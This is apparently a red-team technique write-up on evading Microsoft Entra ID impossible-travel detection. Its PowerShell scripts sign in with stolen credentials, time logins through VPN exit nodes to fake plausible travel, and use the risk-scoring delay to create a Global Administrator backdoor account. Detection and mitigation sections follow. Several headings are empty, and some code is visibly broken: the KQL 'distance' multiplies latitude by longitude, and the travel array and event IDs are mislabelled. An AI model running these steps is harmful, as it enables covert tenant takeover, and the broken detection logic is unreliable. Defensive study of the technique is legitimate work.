| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-022 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Defense Evasion, Persistence |
| Platforms | Entra ID, Multi-Cloud (AWS, GCP) |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Entra ID (all versions), AWS IAM, GCP Identity Platform |
| Patched In | N/A - Architectural vulnerability |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Impossible Travel is a behavioral detection mechanism that flags user sign-ins from geographically distant locations within unrealistic timeframes (e.g., New York at 2:00 PM, London at 3:00 PM – only 1 hour and ~3000 miles apart). However, attackers can systematically evade this detection by: (1) introducing artificial delays between authentication attempts to make travel appear plausible, (2) using distributed VPN/proxy networks to route traffic through intermediate geographic regions, (3) exploiting logging delays in Entra ID audit trails to authenticate during windows where previous sign-ins haven’t been indexed yet, and (4) timing attacks during low-risk periods (e.g., weekends, off-hours) when behavioral baselines are looser.
Attack Surface: Entra ID sign-in risk detection, Azure AD Identity Protection, conditional access policies that enforce geographic constraints, and behavioral anomaly detection systems that rely on IP-to-location mapping.
Business Impact: Enables persistent credential-based access to cloud resources without triggering geographic/impossible travel alerts. An attacker with compromised credentials can authenticate to Azure subscriptions, M365 services, and AWS cross-tenant resources while appearing to bypass impossible travel detection entirely. This is particularly effective against organizations using Entra ID P2 with Identity Protection enabled.
Technical Context: Evasion attacks typically require 15-30 minutes of preparation per authentication attempt. Detection is very low if attackers properly space authentication events and use legitimate VPN services (corporate VPN, known cloud provider datacenters). Attack chains often begin with credential compromise (phishing, password spray) followed by immediate enumeration of detected geographic baselines before launching coordinated access.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.4 | Weak multi-factor authentication enforcement; geographic baselines not validated |
| DISA STIG | SI-4 | Information System Monitoring lacks real-time geographic anomaly detection |
| CISA SCuBA | EXO-02 | Impossible travel detection not enabled or enforced |
| NIST 800-53 | AC-2 (Account Management) | Insufficient account activity review and geographic constraints |
| GDPR | Art. 32 | Security of Processing - inadequate anomaly detection for cross-border access |
| DORA | Art. 21 | Cyber Risk Management - insufficient behavioral monitoring for financial access |
| NIS2 | Art. 21 | Cyber Risk Management Measures - weak identity-based threat detection |
| ISO 27001 | A.9.2.3 | Management of Privileged Access - missing geographic-based access controls |
| ISO 27005 | Risk Scenario: “Unauthorized Remote Access” | Inadequate geographic profiling for user authentication |
Required Privileges: Valid user account credentials (compromised via phishing, credential stuffing, password spray, or leaked in data breach)
Required Access: Network connectivity to Entra ID and target cloud services; ability to route traffic through multiple geographic locations (requires VPN, proxy, or botnet access)
Supported Platforms:
Connect-MgGraph -Scopes "AuditLog.Read.All"
# Query sign-in logs to identify baseline geographic locations
$signins = Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'target-user@company.com'" -All |
Select-Object -First 100 -Property userPrincipalName, createdDateTime, ipAddress, location
# Group by location to establish baseline
$signins |
Group-Object -Property location |
Sort-Object -Property Count -Descending |
Select-Object -Property Name, @{N='Frequency';E={$_.Count}}, @{N='FirstSeen';E={$_.Group[0].createdDateTime}}, @{N='LastSeen';E={$_.Group[-1].createdDateTime}}
What to Look For:
Connect-MgGraph -Scopes "IdentityRiskEvent.Read.All"
# Check if Entra ID Identity Protection is enabled
Get-MgIdentityProtectionRiskDetection -All | Select-Object -First 10 -Property riskEventType, detectedDateTime, riskLevel
# Identify which risk detection types are active
Get-MgIdentityProtectionRiskDetection -All |
Group-Object -Property riskEventType |
Select-Object -Property Name, Count |
Where-Object { $_.Name -contains "impossibleTravel" }
What to Look For:
Supported Versions: Entra ID all versions, AWS IAM, GCP Identity
Objective: Create authentication activity in attacker’s current geographic location to establish false baseline before launching attack from distant location
Command:
# Authenticate from current location (e.g., US datacenter)
$creds = New-Object System.Management.Automation.PSCredential(
"target@company.com",
(ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force)
)
# Connect to Azure
Connect-AzAccount -Credential $creds
Write-Output "Authenticated from: $(Get-AzContext).Subscription.Id"
# Trigger some minimal activity to log the event
Get-AzResource -ResourceGroupName "company-rg" | Select-Object -First 1
# Disconnect
Disconnect-AzAccount -Confirm:$false
Expected Output:
Account: target@company.com
SubscriptionId: 12345678-abcd-1234-abcd-123456789012
Authenticated from: eastus
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Allow Entra ID audit logs to process the first authentication before attempting second authentication from distant location
Command:
# Entra ID audit log delay is typically 5-15 minutes, but can vary
# For maximum safety, wait 20-30 minutes to allow full indexing
Write-Output "Starting wait period..."
$startTime = Get-Date
$waitSeconds = 1200 # 20 minutes
while ((Get-Date) - $startTime -lt [TimeSpan]::FromSeconds($waitSeconds)) {
$elapsed = ((Get-Date) - $startTime).TotalSeconds
$remaining = $waitSeconds - $elapsed
if ($remaining % 60 -eq 0) {
Write-Output "Waited $([Math]::Round($elapsed / 60)) minutes. Remaining: $([Math]::Round($remaining / 60)) minutes"
}
Start-Sleep -Seconds 30
}
Write-Output "Wait period complete. Proceeding to next step..."
Expected Output:
Starting wait period...
Waited 1 minutes. Remaining: 19 minutes
Waited 2 minutes. Remaining: 18 minutes
...
Waited 20 minutes. Remaining: 0 minutes
Wait period complete. Proceeding to next step...
What This Means:
OpSec & Evasion:
Objective: Complete second authentication from geographically distant location, but with sufficient time elapsed to make travel appear plausible
Command (Example: New York → London, 6-hour flight time):
# Connect to VPN exit node in London (or use London datacenter IP)
# Use a residential IP or well-known VPN service to avoid IP reputation filtering
$londonVpnGateway = "london-vpn.vpnservice.com"
$londonVpnPort = 443
# Simulate connecting through London VPN
Write-Output "Establishing VPN tunnel to $londonVpnGateway..."
# Now authenticate from London location
$creds = New-Object System.Management.Automation.PSCredential(
"target@company.com",
(ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force)
)
# Authentication from London
Connect-AzAccount -Credential $creds
$azContext = Get-AzContext
Write-Output "Authenticated from London. Context: $($azContext.Environment)"
# Perform reconnaissance activity in M365
Connect-MgGraph -Credential $creds
Get-MgUser -Filter "userPrincipalName eq 'target@company.com'" |
Select-Object -Property userPrincipalName, id, location
Disconnect-AzAccount -Confirm:$false
Expected Output:
Authenticated from London. Context: AzureCloud
userPrincipalName: target@company.com
id: 12345678-abcd-1234-abcd-123456789012
location: London, GB
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Establish pattern of plausible global travel to build credibility for future access attempts
Command (Extended Multi-Location Chain):
# Extend the attack to multiple locations over time to establish "travel pattern"
$travelSequence = @(
@{ Location = "New York"; VPN = "us-east.vpn"; Delay = 0 },
@{ Location = "London"; VPN = "gb-london.vpn"; Delay = 360 }, # 6 hours
@{ Location = "Singapore"; VPN = "sg-singapore.vpn"; Delay = 720 }, # 12 hours
@{ Location = "Tokyo"; VPN = "jp-tokyo.vpn"; Delay = 360 }, # 6 hours back to US
)
$currentTime = Get-Date
foreach ($location in $travelSequence) {
# Wait for specified delay
Write-Output "Travel to $($location.Location)..."
Start-Sleep -Seconds $location.Delay
# Authenticate from new location
try {
Connect-AzAccount -Credential $creds -ErrorAction Stop | Out-Null
Write-Output "✓ Authenticated from $($location.Location) at $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')"
# Perform minimal activity (avoid triggering resource-specific alerts)
Get-AzSubscription | Select-Object -First 1
Disconnect-AzAccount -Confirm:$false
} catch {
Write-Output "✗ Failed to authenticate from $($location.Location): $_"
}
$currentTime = $currentTime.AddSeconds($location.Delay)
}
Expected Output:
Travel to New York...
✓ Authenticated from New York at 2025-01-10 08:00:00
Travel to London...
✓ Authenticated from London at 2025-01-10 14:00:00
Travel to Singapore...
✓ Authenticated from Singapore at 2025-01-11 02:00:00
Travel to Tokyo...
✓ Authenticated from Tokyo at 2025-01-11 08:00:00
What This Means:
OpSec & Evasion:
Supported Versions: Entra ID P1+ (Conditional Access required)
Objective: Authenticate during the brief window when Entra ID risk detection has not yet processed and assigned a risk score
Command:
# Risk assessment in Entra ID takes 5-15 minutes (varies by load)
# Goal: Authenticate and access resource before risk score is assigned
# Check current SignInRisk events to understand assessment speed
Get-MgIdentityProtectionRiskDetection -Filter "riskEventType eq 'impossibleTravel'" -All |
Select-Object -First 20 -Property createdDateTime, detectedDateTime, riskLevel |
ForEach-Object {
$detectionDelay = [Math]::Round((($_.detectedDateTime - $_.createdDateTime).TotalSeconds / 60), 1)
[PSCustomObject]@{
CreatedTime = $_.createdDateTime
DetectedTime = $_.detectedDateTime
DelayMinutes = $detectionDelay
RiskLevel = $_.riskLevel
}
} |
Measure-Object -Property DelayMinutes -Average -Minimum -Maximum
Expected Output:
Count : 20
Average : 8.5
Sum : 170
Maximum : 15.2
Minimum : 2.1
Property : DelayMinutes
What This Means:
OpSec & Evasion:
Objective: Perform high-risk action (access sensitive resource, add admin user, modify policies) before risk-based conditional access policies can block the action
Command (Example: Add new Global Admin during undetected window):
# Step 1: Authenticate at precise moment when risk detection is unlikely
# (e.g., at 3 AM on Sunday when service load is low)
Connect-MgGraph -Credential $creds -NoWelcome
# Step 2: Immediately perform high-impact action (< 2 minutes to complete)
# This must complete before risk detection assigns a High risk score
$newAdminEmail = "attacker-backup@attackerdomain.com"
# Add new user as Global Administrator
New-MgUser -DisplayName "Backup Admin" `
-UserPrincipalName $newAdminEmail `
-PasswordProfile @{
ForceChangePasswordNextSignIn = $false
Password = "AttackerP@ssw0rd!123"
} `
-MailNickname "backupadmin"
# Assign Global Admin role to newly created user
$userId = (Get-MgUser -Filter "userPrincipalName eq '$newAdminEmail'").Id
$roleId = (Get-MgDirectoryRoleTemplate | Where-Object { $_.displayName -eq "Global Administrator" }).Id
New-MgDirectoryRoleMember -DirectoryRoleId $roleId -DirectoryObjectId $userId
Write-Output "Global Admin $newAdminEmail added successfully"
Expected Output:
Global Admin attacker-backup@attackerdomain.com added successfully
What This Means:
OpSec & Evasion:
Rule Configuration:
KQL Query:
// Calculate geographic distance between consecutive sign-ins
// and determine if travel time is physically possible
let signins = SigninLogs
| where TimeGenerated > ago(24h)
| where ResultDescription == "Success"
| extend LocationGeo = parse_json(LocationDetails)
| project userPrincipalName, createdDateTime,
ipAddress,
latitude = LocationGeo.geoCoordinates.latitude,
longitude = LocationGeo.geoCoordinates.longitude
| sort by userPrincipalName, createdDateTime;
// Self-join to find consecutive sign-ins
signins
| join kind=inner (signins | extend CreatedDateTime_Prev = createdDateTime | project userPrincipalName, CreatedDateTime_Prev, ipAddress_Prev = ipAddress)
on userPrincipalName
| where createdDateTime > CreatedDateTime_Prev
| extend TimeDiffMinutes = (createdDateTime - CreatedDateTime_Prev) / 1m
| extend DistanceMiles = todouble(latitude) * todouble(longitude) / 69 // Approximate; real geo distance calculation needed
| extend RequiredTravelSpeed = (DistanceMiles / TimeDiffMinutes) * 60 // Miles per hour
| where RequiredTravelSpeed > 460 // Commercial jet speed + buffer
| summarize by userPrincipalName, createdDateTime, ipAddress, TimeDiffMinutes, DistanceMiles, RequiredTravelSpeed
| sort by RequiredTravelSpeed desc
What This Detects:
Manual Configuration Steps (Azure Portal):
Impossible Travel Detection - Enhanced Geo DistanceHigh5 minutes24 hoursuserPrincipalNameEvent ID: 4625, 4627 (Account Logon Failure, Device Claim Token Success)
Account Name appearing in audit logs with different Source Network Address values indicating geographic impossibilityManual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Account Logon" /success:enable /failure:enableEnforce Conditional Access Policy with Geographic Constraints: Block sign-in attempts from locations that violate known impossible travel patterns.
Applies To Versions: Entra ID P1+ (required for Conditional Access)
Manual Steps (Azure Portal):
Block Impossible TravelEnable Multi-Factor Authentication (MFA) Enforcement: Require MFA for all user accounts, especially high-privilege accounts. This blocks credential-based attacks even if attacker evades geographic detection.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "UserAuthenticationMethod.ReadWrite.All"
# Create MFA registration policy
$policy = @{
displayName = "Require MFA for All Users"
conditions = @{
signInRisk = @("high", "medium")
users = @{
includeUsers = @("all")
}
}
grantControls = @{
operator = "AND"
builtInControls = @("mfa")
}
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $policy
Implement Named Locations for Trusted Networks: Define known office locations and trusted VPN exit nodes to reduce false positives while maintaining tight controls for unknown locations.
Manual Steps:
Office - New YorkManual Steps (PowerShell):
Connect-MgGraph -Scopes "Policy.Read.All"
$location = @{
displayName = "Office - New York"
isTrusted = $true
ipRanges = @(
@{
cidrAddress = "203.0.113.0/24"
}
)
}
New-MgIdentityConditionalAccessNamedLocation -BodyParameter $location
Enable Sign-In Risk Policy: Configure Entra ID Identity Protection to automatically trigger MFA or block access when impossible travel is detected.
Manual Steps:
Restrict Legacy Authentication: Disable older authentication protocols (Basic Auth, SMTP, POP/IMAP) that don’t support modern anomaly detection.
Manual Steps:
Block Legacy Authentication# Verify Conditional Access policies are active
Get-MgIdentityConditionalAccessPolicy |
Where-Object { $_.DisplayName -like "*Travel*" -or $_.DisplayName -like "*Risk*" } |
Select-Object DisplayName, State, GrantControls
# Verify MFA requirement is enforced
Get-MgIdentityProtectionSignInRiskPolicy |
Select-Object IsEnabled, RiskLevel, Grant
# Verify named locations are defined
Get-MgIdentityConditionalAccessNamedLocation |
Select-Object DisplayName, IsTrusted, IpRanges
Expected Output (If Secure):
DisplayName State Grant Controls
--- ----- ---------
Block Impossible Travel Enabled [Require MFA]
Sign-in Risk Policy Enabled [Block Access]
IsEnabled True
RiskLevel Medium, High
Grant requireMultifactorAuthentication
Isolate:
Command (Immediately Revoke All Sessions):
Revoke-AzUserSignInSession -UserId "compromised-user@company.com"
Collect Evidence:
Command (Export Sign-in Logs for Timeline):
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'compromised-user@company.com'" -All |
Export-Csv -Path "C:\Forensics\signin_timeline.csv" -NoTypeInformation
Remediate:
Force MFA Re-enrollment:
# Reset user's registered authenticators, forcing re-enrollment
Remove-MgUserAuthenticationPhoneMethod -UserId "user-id" -PhoneAuthenticationMethodId "phone-id"
Remove-MgUserAuthenticationSoftwareOathMethod -UserId "user-id" -SoftwareOathMethodId "oath-id"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REALWORLD-024] | Behavioral Profiling to identify target user’s travel patterns and baseline locations |
| 2 | Initial Access | [IA-PHISH-001] | Device code phishing to compromise user credentials |
| 3 | Privilege Escalation | [PE-VALID-010] | Azure role assignment abuse after gaining user access |
| 4 | Current Step | [REALWORLD-022] | Impossible Travel Evasion to bypass geographic detection during lateral movement |
| 5 | Persistence | [PE-ACCTMGMT-014] | Global Administrator backdoor account creation to maintain long-term access |
| 6 | Exfiltration | [COLLECT-EMAIL-001] | Email collection via Graph API now undetected due to geographically distributed access pattern |
| 7 | Impact | [IMPACT-DATA-DESTROY-001] | Delete audit logs to cover tracks |
Detection Blind Spots:
Post-Compromise Indicators:
Monitoring Best Practices: